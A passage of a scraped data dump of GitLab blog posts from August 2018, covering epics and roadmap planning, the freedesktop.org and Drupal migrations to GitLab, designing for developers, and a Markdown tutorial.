epics.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672146/Blog/Hero%20Images/epics-issues-milestones-planning.jpg","https://about.gitlab.com/blog/epics-roadmap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Coming in 11.3: Seamless top-down and bottom-up planning with epics and roadmap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2018-08-23\",\n      }",{"title":32437,"description":32432,"authors":32438,"heroImage":32433,"date":32419,"body":32439,"category":299,"tags":32440},"Coming in 11.3: Seamless top-down and bottom-up planning with epics and roadmap",[30512],"\n\n[Epics](https://docs.gitlab.com/ee/user/group/epics/) and [roadmap](https://docs.gitlab.com/ee/user/group/roadmap/)\n are two newer features in [GitLab Ultimate](/pricing/) and [GitLab.com Gold](/pricing/#gitlab-com). Used together, your team\n can plan and track larger initiatives. On September 22, we're shipping a new feature\n which we will help you transition seamlessly between top-down and bottom-up planning.\n\n## First things first: epics vs. issues vs. roadmap\n\nAn epic is similar to an [issue](https://docs.gitlab.com/ee/user/project/issues/) in that it\nrecords a proposed scope of work to be done, allows for team members to discuss that scope,\nand then is tracked and updated over time as that work is actually implemented.\n\nHowever, an epic exists at the [group](https://docs.gitlab.com/ee/user/group/index.html) level (as opposed to an issue, which exists at the [project](https://docs.gitlab.com/ee/user/project/index.html) level). So\nimmediately you see that an epic is designed to reflect a larger scope, and higher level of discussion\ncompared to an issue. Additionally, you can [attach any number of issues to an epic](https://docs.gitlab.com/ee/api/epic_issues.html#assign-an-issue-to-the-epic), with the idea that\nthe epic's scope decomposes into those individual issues.\n\n![epic](https://about.gitlab.com/images/blogimages/epic-view.png){: .shadow.medium.center}\n\nSince an epic is designed to scope work over a longer period of time (several issues' worth),\na timeline-based view in the form of a [roadmap](https://docs.gitlab.com/ee/user/group/roadmap/)\n is also useful: it serves as a visualization to anticipate that work, and track it as it's\n progressively completed. So the roadmap, also scoped at the group level, presents all the\n epics in time for that group.\n\nYou can apply [group labels](https://docs.gitlab.com/ee/user/project/labels.html#project-labels-and-group-labels)\n to epics, making it easy to quickly narrow down to the epics you care about, whether you\n are looking at a list view or a roadmap view.\n\n| Epics list | Roadmap |\n| --- | --- |\n| ![roadmap](https://about.gitlab.com/images/blogimages/epic-list-view.png){: .shadow} | ![roadmap](https://about.gitlab.com/images/blogimages/roadmap-view.png){: .shadow} |\n\n## Long-term vs short-term planning\n\nWhen planning any initiative, uncertainty, by definition, increases further out in\nthe future. You don't know how many resources you will have. You don't know if previous\ndependent work will be finished. You don't know if the market and your customers will change\nsuch that you won't even need that planned out initiative at all.\n\nConversely, the nearer-term future is much more certain. You have a good handle of the work\nthat should be accomplished and that it can be completed within the next few weeks, up to a\nmonth or so.\n\nAnd of course, the work you are doing now, and have already completed in the past, has zero\nuncertainty. You can't change the past.\n\nEpics and roadmap help you plan and track work in all these cases:\n\n### Long-term future: top-down planning\n\nWhen planning far in the future, we use _top-down planning_. We have strategic initiatives\nthat we want to achieve, with approximate scope and timelines. So in this case, you would\ncreate an epic, and assign `Fixed` dates (a planned start date and planned finish date) to it.\nThe epic would appear in the roadmap view, and you would be able to see it positioned further\nin the future.\n\nThis helps high-level planning, such as starting discussions with various departments in\nyour organizations, or presenting a strategic roadmap to your executive leadership. By creating the\nepic early on, it provides a collaborative space for all stakeholders to discuss feasibility\nand further detailed ideas.\n\n### Short-term future: bottom-up planning\n\nWhen planning for the nearer-term future, we use _bottom-up_ planning. So suppose the epic\nyou created previously with fixed dates has gained some traction within your organization.\nPeople are excited about the prospects and want to flesh out detailed designs and implementation\nsteps. You and your team would then start creating issues and attach them to the epic.\n\nEventually, you have scoped out the detailed work in the issues and even assigned milestones to them,\nindicating when they are planned to be worked on. Now, instead of having to manually update the epic\nto reflect the milestone dates, you would simply choose `From milestones` in the epic sidebar. In this\ncase, the epic planned start date becomes a dynamic date reflecting the earliest start date across all\nthe epic's assigned milestones. The same goes for the epic's planned end date too.\n\nThis functionality is coming in GitLab 11.3 – you can [view the original issue here](https://gitlab.com/gitlab-org/gitlab-ee/issues/6470).\n\nAdditionally, the [roadmap bar edges will reflect the fixed or dynamic start and end dates](https://gitlab.com/gitlab-org/gitlab-ee/issues/6471) accordingly.\n\n![inherited-dates](https://about.gitlab.com/images/blogimages/inherited-dates.png){: .shadow.medium.center}\n\nSo with this design, you are in control when you want to seamlessly transition an epic from a\ntop-down planning scenario, to a bottom-up one. The roadmap reflects these dates automatically too,\nso that all your epics are shown together in one view.\n\nPhoto by [Christopher Machicoane-Hurtaud](https://unsplash.com/photos/ewZkOqjl2Ys?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/ewZkOqjl2Ys?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1899,754,676,1444],{"slug":32442,"featured":6,"template":678},"epics-roadmap","content:en-us:blog:epics-roadmap.yml","Epics Roadmap","en-us/blog/epics-roadmap.yml","en-us/blog/epics-roadmap",{"_path":32448,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32449,"content":32455,"config":32460,"_id":32462,"_type":16,"title":32463,"_source":17,"_file":32464,"_stem":32465,"_extension":20},"/en-us/blog/freedesktop-org-migrates-to-gitlab",{"title":32450,"description":32451,"ogTitle":32450,"ogDescription":32451,"noIndex":6,"ogImage":32452,"ogUrl":32453,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32453,"schema":32454},"Welcome to GitLab, freedesktop.org!","Freedesktop.org, the home of open source desktop technology development, has migrated to GitLab to improve their workflow and modernize their service.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671252/Blog/Hero%20Images/gitlab-desktop-org-cover.png","https://about.gitlab.com/blog/freedesktop-org-migrates-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Welcome to GitLab, freedesktop.org!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-08-20\",\n      }",{"title":32450,"description":32451,"authors":32456,"heroImage":32452,"date":32457,"body":32458,"category":813,"tags":32459},[19026],"2018-08-20","\nSorry to [keep banging on about it](/blog/drupal-moves-to-gitlab/), but we get pretty excited when [open source projects](/blog/welcome-gnome-to-gitlab/) tell us they’re [#movingtogitlab](/blog/movingtogitlab/). There’s always more room at our inn. So we’re very happy to welcome [freedesktop.org](https://www.freedesktop.org/wiki/) into the fold! We chatted to Daniel Stone, project administrator, about what the project does and why they’re joining us.\n\n## Q & A\n\n- [What is freedesktop.org?](#what-is-freedesktoporg)\n- [How is freedesktop.org used?](#how-is-fdo-used)\n- [What's the connection between freedesktop.org, X Window System, and Linux?](#whats-the-connection-between-fdo-x-window-system-and-linux)\n- [How many contributors work on the project?](#how-many-contributors-work-on-the-project)\n- [Why would someone use freedesktop.org instead of macOS or Microsoft Windows?](#why-would-someone-use-fdo-instead-of-macos-or-microsoft-windows)\n- [Why are you migrating to GitLab?](#why-are-you-migrating-to-gitlab)\n- [How are you anticipating the move to be beneficial?](#how-are-you-anticipating-the-move-to-be-beneficial)\n\n### What is freedesktop.org?\n\nCreated in 2000 by Havoc Pennington (a GNOME developer), freedesktop.org (or fd.o) is a [forge](https://en.wikipedia.org/wiki/Forge_(software))-type hosting site. The idea was to create a neutral collaboration space between [GNOME](/blog/welcome-gnome-to-gitlab/), [KDE](/blog/welcome-kde/), Enlightenment, and other open source desktops. Unlike integrated systems, like Windows and macOS, the open source desktop lacks a lot of shared foundations: what should you open files with, how should you manage windows, and so forth.\n\nOriginally fd.o was a home for these desktop developers to collaborate on common standards, so programs could run portably with the same functionality across different desktops. In 2004, xwin.org was formed by a group of open source graphics developers unhappy with the closed-shop state of the XFree86 project. The two projects of fd.o and xwin.org merged shortly after xwin.org’s founding, with fd.o playing host to the X.Org Foundation, which supervises and facilitates the ongoing development of the graphics stack.\n\nOver the years since, our role as a neutral home for all sorts of desktop technology development has seen us add projects such as GStreamer, LibreOffice, and PulseAudio to our diverse family. Some projects such as systemd and Flatpak originally began their development on fd.o, but moved out to other hosting platforms which better suited their needs and workflow.\n\n### How is fd.o used?\n\nMost of our projects are invisible to users: NetworkManager is probably responsible for driving your Wi-Fi under the hood, though you’re unlikely to interact with it directly. Mesa and Wayland/X.Org will provide the underlying plumbing to render your games and your whole UI, but these are mostly invisible. Your desktop probably leans heavily on the D-Bus message-passing system. Most of it is plumbing.\n\n### What's the connection between fd.o, X Window System, and Linux?\n\nAs part of the graphics stack, fd.o hosts the development of the Linux kernel’s graphics development: drivers from all vendors part of the mainstream kernel (and some which aren’t yet!) use our Git hosting, mailing lists, bug tracking, and other services to build the core kernel graphics infrastructure. All this development happens on our infrastructure, which is then fed into the core Linux kernel during its \"merge window\" every release.\n\nThe X.Org Foundation tries to enable the work of a wide body of open source graphics projects. Originally X.Org itself was just the X Window System, but over the years the code evolved out of X.Org into a number of enabling projects. These include not just alternative window systems such as Wayland, the Mesa 3D graphics library for hardware-accelerated OpenGL, OpenGL ES and Vulkan, Cairo and Pixman for software rendering, libinput for input device handling, and much more. We play host to all those projects, with the Foundation providing an accountable body for administrative work, conference organization, and so on.\n\nOther freedesktop.org projects, as said before, provide all the glue around the margins of your desktop. Providing a database of available applications and preferred MIME type handlers, network device management, inter-process communication, a PDF renderer; in general, all the things we can do well in one place, to enable people who want to write desktop environments to focus on the thing that matters to them: building the actual desktop!\n\nAs part of this, we’ve always tried to stay strenuously vendor-neutral and also project-neutral within the desktop community. Rather than \"picking winners\" or enforcing directions on external projects, we try to slowly and gently build consensus as a neutral forum.\n\n### How many contributors work on the project?\n\nHard to say! We have around 1,300 registered users who directly commit to our family of projects. Not all of them are active of course, but many developers do not have direct commit access and aren’t represented in that figure. We have around 25,000 people subscribed to our various development mailing lists.\n\n### Why would someone use fd.o instead of macOS or Microsoft Windows?\n\nMuch like GitLab, freedesktop.org is an open source, open-participation, neutral platform. Running an open source desktop through distributions such as Arch, Debian, Fedora, or Ubuntu – all of which use our enabling technology – gives the user a fully open source system. This is incredibly empowering: as a user, you have the ability to dive into any part of your system, make the changes you want to see, and participate openly in these projects to see your improvements work upstream.\n\n>As a user, you have the ability to dive into any part of your system, make the changes you want to see, and participate openly in these projects to see your improvements work upstream\n\n### Why are you migrating to GitLab?\n\nOver the years fd.o has been running, we’ve accumulated a wide variety of services: our LDAP-based account system forked back in 2004, Bugzilla for issue tracking, Mailman for mailing lists, cgit and hand-rolled Git hosting, Patchwork for pulling patches from the mailing list when they are submitted for review, Jenkins for build infrastructure, ikiwiki for project wikis, still an FTP server somewhere; the list goes on.\n\nIn terms of workflow, we simply can’t provide some of our projects the workflow they want with this infrastructure. Over the years since we begun, the norm of software development has moved from throwing patches around via email, to fully distributed version control with integrated review and issue tracking, and so on. On paper we provide those services, but integration between them involves a lot of duct tape, and this shows to the users. We saw multiple projects either leave fd.o and move to alternate hosting platforms, or just not develop on our infrastructure to begin with, because we weren’t offering anything like the same level of functionality and convenience as those services.\n\n>Over the years, the norm of software development has moved from throwing patches around via email, to fully distributed version control with integrated review and issue tracking, and so on. On paper we provide those services, but integration between them involves a lot of duct tape, and this shows to the users.\n\nOne of the issues with freedesktop.org being such a diverse family, is that there is no central driven organization behind it. The site is currently run by three volunteers, all of whom keep the site running in our spare time. Maintaining all these services – many of them forked to add now-essential features like spam prevention, as well as our own custom local work for service integration – takes a surprising amount of time, to the point where just keeping it running is about all we can do. Actual improvements are very difficult to implement in the time we have, and even when we can do them, making sure all our projects can take full advantage of them is sometimes too much for us.\n\n### How are you anticipating the move to be beneficial?\n\nFirstly, for the workflow, having linked repository management, issue tracking, code review, CI pipelines and feedback, container repositories, wikis, and websites, provides functionality we couldn’t before – or at least, we were providing a pale imitation of it. As all of this is provided in [GitLab Core](/pricing/) and backed by a single coherent permission model, we are able to open these services up to our member projects who can work with them autonomously, rather than waiting for the admins to deal with services for them.\n\nFrom an admin point of view, having a single application which takes care of all of this will drastically reduce the time we spend treading water and dealing with the impedance mismatch between the disparate services we’ve had until now. Bringing GitLab up on Kubernetes has not been without its challenges as we attempt to bring our service administration skills up into the 21st century, but already it’s shown us that we can move drastically quicker than we have been able to in the past.\n\n>From an admin point of view, having a single application which takes care of our entire workflow will drastically reduce the time we spend treading water and dealing with the impedance mismatch between the disparate services we’ve had until now\n\nIn terms of service modernization, another huge improvement is a modern approach to identity and security. Running an open community site in 2018 is not a fun place to be: not just keeping on top of security vulnerabilities, but targeted break-in attempts and spam. A lot of our previous services aren’t designed to deal with this kind of abuse. Having a single identity service on GitLab – which can link to external identity providers such as Google and GitLab.com, and make use of two-factor authentication – is a huge leap forward for us. Similarly, a coherent approach to spam which doesn’t involve spending an evening trawling through SQL tables by hand makes dealing with spam actually practical!\f\n\n### How can people get involved?\n\nSince we are an umbrella of diverse projects, there's no single answer. We keep a [list of our active projects on our website](https://www.freedesktop.org/wiki/GettingInvolved/): pick the one that's closest to your heart, check out their site and repo, and send your first MR.\n",[815,267,4772,1444],{"slug":32461,"featured":6,"template":678},"freedesktop-org-migrates-to-gitlab","content:en-us:blog:freedesktop-org-migrates-to-gitlab.yml","Freedesktop Org Migrates To Gitlab","en-us/blog/freedesktop-org-migrates-to-gitlab.yml","en-us/blog/freedesktop-org-migrates-to-gitlab",{"_path":32467,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32468,"content":32474,"config":32479,"_id":32481,"_type":16,"title":32482,"_source":17,"_file":32483,"_stem":32484,"_extension":20},"/en-us/blog/designing-for-developers",{"title":32469,"description":32470,"ogTitle":32469,"ogDescription":32470,"noIndex":6,"ogImage":32471,"ogUrl":32472,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32472,"schema":32473},"How to design for (and with) developers","UX Manager Sarrah Vesselov shares her thoughts on how to design for a developer audience.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679763/Blog/Hero%20Images/discovering_gitlabs_personas.jpg","https://about.gitlab.com/blog/designing-for-developers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to design for (and with) developers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-08-17\",\n      }",{"title":32469,"description":32470,"authors":32475,"heroImage":32471,"date":32476,"body":32477,"category":8943,"tags":32478},[20767],"2018-08-17","\n\nDesigners have a challenging task: Solve problems to empower users to do their\nbest work. To understand how designers balance the demands of their roles as\nproblem solvers with the evolving needs of an audience, I chatted with UX Manager\n[Sarrah Vesselov](/company/team/#SVesselov) about the considerations that go into designing for developers.\n\n#### How has designing for developers evolved over time?\n\n>“It has become more complex since developers are using tools to do multiple\nthings rather than a single thing.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/jbbH58ICs5o\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### How do you view developer feedback?\n\n>“Developers are as close to designers as you get. We’re all problem solvers.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/EJlOJurVjFI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### How has Hacker News feedback changed GitLab’s design?\n\n>“Having a direct line to people who are using our product every day allows us to quickly iterate and make changes.\nWhen I’m talking to people on Hacker News, I link them to issues, and I really value their feedback.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nfHB8HBEwxs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### What do you consider when trying to create positive UX experiences for developers?\n\n>“It’s important to understand developers’ goals and motivations and what they’re trying to accomplish.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/I3lfB2yfslw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### What’s the greatest challenge in designing for developers?\n\n>“Things keep getting more and more complex. Trying to make life easier for someone is a challenge.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/l7yXDXtg_hU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### What advice do you have for other designers who have developers in mind?\n\n>“Make allies out of the developers you work with to better understand the developers you’re designing for.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/oUrnGuSnNik\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Interested in joining the UX team?\nOur incredible [UX team](/handbook/product/ux/) is rapidly growing, and we'd love to be your teammate! If\nyou'd like to design for a developer audience, please apply for one of our open\n[positions](/jobs/).\n",[2248,2249],{"slug":32480,"featured":6,"template":678},"designing-for-developers","content:en-us:blog:designing-for-developers.yml","Designing For Developers","en-us/blog/designing-for-developers.yml","en-us/blog/designing-for-developers",{"_path":32486,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32487,"content":32492,"config":32496,"_id":32498,"_type":16,"title":32499,"_source":17,"_file":32500,"_stem":32501,"_extension":20},"/en-us/blog/gitlab-markdown-tutorial",{"title":32488,"description":32489,"ogTitle":32488,"ogDescription":32489,"noIndex":6,"ogImage":29121,"ogUrl":32490,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32490,"schema":32491},"A 5-minute Markdown tutorial","New to GitLab? New to Markdown? Here's a quick explainer on using Markdown to format text all over GitLab.","https://about.gitlab.com/blog/gitlab-markdown-tutorial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A 5-minute Markdown tutorial\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-08-17\",\n      }",{"title":32488,"description":32489,"authors":32493,"heroImage":29121,"date":32476,"body":32494,"category":734,"tags":32495},[19026],"\n\nAt GitLab, we love [Markdown](https://docs.gitlab.com/ee/user/markdown.html) for providing a simple, clean way to add styling and formatting to plain text, that's visible and repeatable across multiple applications. This means you can copy and paste the text without losing the formatting, and it makes [reviewing diffs](https://docs.gitlab.com/ee/development/merge_request_concepts/diffs/) easier, as you're still reviewing plain text with no hidden data.\n\n## What is Markdown?\n\nMarkdown is a lightweight markup language created by John Gruber in 2004. Markdown lets you add formatting elements to plaintext text documents. Since its creation, markdown has become one of the world’s most popular markup languages. There are many web-based applications specifically built for writing in Markdown. Markdown syntax is designed to be readable and simple.\n\n## Markdown tutorial\n\nGitLab Product Marketing Manager [William Chia](/company/team/#thewilliamchia) recorded this five-minute Markdown tutorial for another GitLab team-member, so you can see how Markdown works within GitLab:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ix416lAYRSg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## GitLab Flavored Markdown\n\nGitLab uses [GitLab Flavored Markdown](https://gitlab.com/help/user/markdown#gitlab-flavored-markdown-gfm) (GFM) for other handy functionality not supported by standard Markdown. Here are a few useful things you can do with GFM:\n\n### Reference issues, commits, merge requests, or team members\n\nWhen you type `#12` (or any number) in an issue, it will automatically create a link to the corresponding issue in that project. You can also [easily reference other GitLab-specific items](https://gitlab.com/help/user/markdown#special-gitlab-references).\n\n### Autolink URLs\n\n You don't have to use the standard `[]()` format to create a link: just pasting the URL will [autolink it](https://gitlab.com/help/user/markdown#url-auto-linking).\n\n### Create diagrams and flowcharts\n\nIn [GitLab 10.3](/releases/2017/12/22/gitlab-10-3-released/#flow-charts-sequence-diagrams-and-gantt-diagrams-in-gitlab-flavored-markdown-gfm-with-mermaid) we added the ability to [generate diagrams and flowcharts](https://gitlab.com/help/user/markdown#mermaid) using [mermaid](https://mermaidjs.github.io/).\n\n### Quick actions\n\nOpen or close issues, reassign merge requests, add todos, unsubscribe from issues – these are just a few things you can do with GFM [quick actions](https://docs.gitlab.com/ee/user/project/quick_actions.html), all without leaving your keyboard. Just type `/` and a list of options will appear.\n\nThese are just a few examples of GFM – see the [Markdown documentation](https://docs.gitlab.com/ee/user/markdown.html) for a full list. We're adding to it all the time: as of our last release you can quickly [make an issue confidential](/releases/2018/07/22/gitlab-11-1-released/#confidential-issue-quick-action) right from the issue comment field. This was a community contribution, and we invite you to [contribute](/community/contribute/) functionality and quick actions you'd find useful too!\n\n## Benefits of using Markdown\n\nSome may be skeptical of using Markdown when there are other options – like a WYSIWYG editor. But the benefits of using markdown are hard to ignore:\n\n* Markdown is crazy versatile. It can be used for everything including (but not limited to) websites, notes, presentations, emails, and documents of all kinds.\n* Markdown isn’t picky about its operating system. You can create Markdown-formatted text on any device running any operating system.\n* Markdown can be used on the move, so to speak. Markdown-formatted text can be opened using virtually any application. You can also import your Markdown files into another Markdown application if you decide to make a change.\n* The Markdown text you create won’t become obsolete. Even if the application you’re using stops working down the line, you’ll still be able to read your Markdown-formatted text using a text editing application.\nThe fact that it is the backbone of so much web content means that you might be the odd one out if you DON’T use it.\n\n## How to get started with Markdown\n\nThere are a few ways you can learn about how to get started with Markdown.\n\nThe first is to check out online tutorials. You can find a number of resources on Markdown, including the [original guide by John Gruber](https://daringfireball.net/projects/markdown/) and a [Markdown Tutorial](https://www.markdowntutorial.com/) open-source website that you can use to try out Markdown in your web browser.\n\nOr, just try it out with the Notepad application on a device. Since Markdown is just plain text, you can write it in any text editor, such as Notepad. Save a file with the .MD file extension to make a proper Markdown file.\n\nThe second (and a highly encouraged) way to get the hang of Markdown is to check out some [free online Markdown editors](https://www.makeuseof.com/tag/online-markdown-editors/) to test the waters - many of which are great for just learning how to write in Markdown. Markdown editors like StackEdit and Dillinger can help your efforts to get started with Markdown.\n\nFor the most optimal Markdown experience, a writing app that's built for Markdown is typically the best way to go.\n",[4144,676],{"slug":32497,"featured":6,"template":678},"gitlab-markdown-tutorial","content:en-us:blog:gitlab-markdown-tutorial.yml","Gitlab Markdown Tutorial","en-us/blog/gitlab-markdown-tutorial.yml","en-us/blog/gitlab-markdown-tutorial",{"_path":32503,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32504,"content":32509,"config":32514,"_id":32516,"_type":16,"title":32517,"_source":17,"_file":32518,"_stem":32519,"_extension":20},"/en-us/blog/drupal-moves-to-gitlab",{"title":32505,"description":32506,"ogTitle":32505,"ogDescription":32506,"noIndex":6,"ogImage":31080,"ogUrl":32507,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32507,"schema":32508},"Come on in! Drupal is moving to GitLab","Free and open source platform Drupal is moving to GitLab to accelerate developer velocity and attract new talent and contributors to the project.","https://about.gitlab.com/blog/drupal-moves-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Come on in! Drupal is moving to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-08-16\",\n      }",{"title":32505,"description":32506,"authors":32510,"heroImage":31080,"date":32511,"body":32512,"category":813,"tags":32513},[19026],"2018-08-16","\nWe never get tired of hearing about [open source projects joining the GitLab fold](/blog/welcome-gnome-to-gitlab/). So, welcome to GitLab, [Drupal](https://www.drupal.org/)! In light of this news, we chatted to Director of Engineering for the Drupal Association, [Timothy Lehnen](https://drupal.org/u/hestenet), about the project and why they're moving to GitLab.\n\n## Q&A\n\n- [What is Drupal?](#what-is-drupal)\n- [How is Drupal used?](#how-is-drupal-used-how-does-it-help-people)\n- [How many contributors work on the project?](#how-many-contributors-work-on-the-project)\n- [Why might someone use Drupal over other content management tools?](#why-might-someone-use-drupal-over-other-content-management-tools)\n- [Why are you migrating to GitLab?](#why-are-you-migrating-to-gitlab)\n- [How do you expect this move to beneficial to Drupal?](#how-do-you-expect-this-move-to-beneficial-to-drupal)\n- [How can people get involved in the project?](#how-can-people-get-involved-in-the-project)\n\n### What is Drupal?\n\nDrupal is a platform for building ambitious digital experiences. It was one of the first open source content management systems released more than 17 years ago, and is now used to power content-driven experiences including: the web, mobile, augmented reality, in-flight entertainment, medical devices, and more. Drupal is also the leading platform for building the open web. In a time when the dangers of walled-garden content publishers are becoming more and more clear, Drupal is a powerful tool to keep control in the hands of creators.\n\n### How is Drupal used? How does it help people?\n\nDrupal powers important platforms for engagement all over the world. In the governmental space you can find Drupal powering systems like [NASA.gov](https://www.nasa.gov/), the Australian [GovCMS](https://www.govcms.gov.au/), and the European Union. In the commerce space, Drupal is used to power traditional ecommerce websites, but also the holistic point-of-sale and accounting systems of the billion dollar businesses like ZKungFu, the largest directly operated food chain in China. Drupal is also the backbone of healthcare and higher education systems across the globe. Drupal can even be found behind the scenes running internal systems for the world's largest technology companies.\n\nFinally, Drupal empowers individuals and small teams to rapidly respond to current events, pitching in to give back to their communities. For example, UC Davis just launched their [Article 26 Backpack](https://www.drupal.org/blog/building-digital-backpacks-for-syrian-refugees) program for Syrian refugees, powered by Drupal.\n\n### How many contributors work on the project?\n\nIn the past year 111,783 people have contributed to Drupal in some form on Drupal.org. Over the course of the last 17 years, many hundreds of thousands of people have contributed in some way to the Drupal project.\n\n### Why might someone use Drupal over other content management tools?\n\nDrupal is a tool for building many kinds of internet-connected applications (not just websites), and is a powerful tool whenever you want to deliver rich, meaningful experiences. Drupal's not the best choice for brochure-ware sites, but that doesn't mean it's only limited to the enterprise. In any situation where you are managing large volumes of data, personalizing content for your end-users, or need a content hub to be consumed by a variety of interfaces and end-points, Drupal is an excellent choice.\n\n>In any situation where you are managing large volumes of data, personalizing content for your end-users, or need a content hub to be consumed by a variety of interfaces and end-points, Drupal is an excellent choice\n\nEven when your needs are less ambitious, Drupal has a rich library of modules and third-party integrations that provide the building blocks for powerful platforms.\n\n### Why are you migrating to GitLab?\n\nThe Drupal project began before Git was invented. The first version [control system](/topics/version-control/what-is-centralized-version-control-system/) that the project used was CVS, before the project migrated to Git in 2012. Over the course of almost two decades the Drupal project has developed our own contribution practices and developer tools, and while many of those tools and practices are leading examples in the open source world, others have fallen behind. For example, the Drupal project still handles code contributions through a patch workflow rather than through a pull/merge request workflow that has become the standard for collaborative development.\n\nWhen we began the search for a new partner to help us modernize our developer tooling, we set the following goals:\n\n- Adopt a developer workflow that will be familiar to the millions of developers outside our community\n- Preserve those unique elements of how we collaborate that have made the Drupal project so successful:\n    - Many-to-one collaboration: that is to say, many developers collaborating on a single solution to a problem\n    - Maintainer approval workflow\n    - Picking up on longstanding issues where other collaborators left off\n    - Contribution credit\n- If possible, leverage an expert partner who will help keeping our tooling up to date as open source collaboration tools continue to evolve\n\nDuring our search, GitLab was emerging as a powerful new player in the code collaboration market, and of all the teams we spoke to, GitLab's leadership demonstrated the greatest commitment to working with us to find a solution that would work for the Drupal project. The combination of that commitment to collaboration and the powerful featureset that GitLab continues to improve at a rapid pace is what helped us make our ultimate decision.\n\n### How do you expect this move to beneficial to Drupal?\n\nMoving our code collaboration tools to GitLab will help Drupal to accelerate developer velocity, and attract new talent and contributors to the project.\n\nBy giving Drupal contributors access to a merge request workflow, inline editing tools, code review, and other features of the GitLab platform they can spend less time on the administrivia and more time building Drupal.\n\n>By giving Drupal contributors access to a merge request workflow, inline editing tools, code review, and other features of the GitLab platform they can spend less time on the administrivia and more time building Drupal\n\nSimilarly, by adopting a toolchain that is much more familiar to the up-and-coming generation of developers, we can lower the barriers to entry for new contributors to join our community. For more information about the Drupal project's journey towards selecting GitLab, check out our [blog series on Drupal.org](https://www.drupal.org/drupalorg/blog/developer-tools-initiative-part-5-gitlab-partnership).\n\n### How can people get involved in the project?\n\nThe Drupal community has a comprehensive [Getting Involved Guide](https://www.drupal.org/getting-involved-guide) that can help individuals find their place in the Drupal community. There are also meet ups and conferences around the world that are a great way to start your Drupal journey. In particular, DrupalCon will be coming to [Seattle from April 8-12 2019](https://events.drupal.org/seattle2019).\n\nThe Drupal project's motto has always been \"Come for the code, stay for the community\" and seventeen years later, that's a sentiment we still believe in.\n",[815,267],{"slug":32515,"featured":6,"template":678},"drupal-moves-to-gitlab","content:en-us:blog:drupal-moves-to-gitlab.yml","Drupal Moves To Gitlab","en-us/blog/drupal-moves-to-gitlab.yml","en-us/blog/drupal-moves-to-gitlab",{"_path":32521,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32522,"content":32528,"config":32533,"_id":32535,"_type":16,"title":32536,"_source":17,"_file":32537,"_stem":32538,"_extension":20},"/en-us/blog/gitlab-ranked-44-on-inc-5000-list",{"title":32523,"description":32524,"ogTitle":32523,"ogDescription":32524,"noIndex":6,"ogImage":32525,"ogUrl":32526,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32526,"schema":32527},"GitLab ranks 4th on Inc. 5000 fastest-growing software list","GitLab ranked 4th fastest-growing private software company (#44 overall) on the Inc. 5000 list. How did we achieve such a strong rank among 2018's fastest-growing companies? Here's what we think.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682941/Blog/Hero%20Images/inc-5000-2018.png","https://about.gitlab.com/blog/gitlab-ranked-44-on-inc-5000-list","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab ranked 4th fastest-growing private software company on Inc. 5000 list of 2018's fastest growing 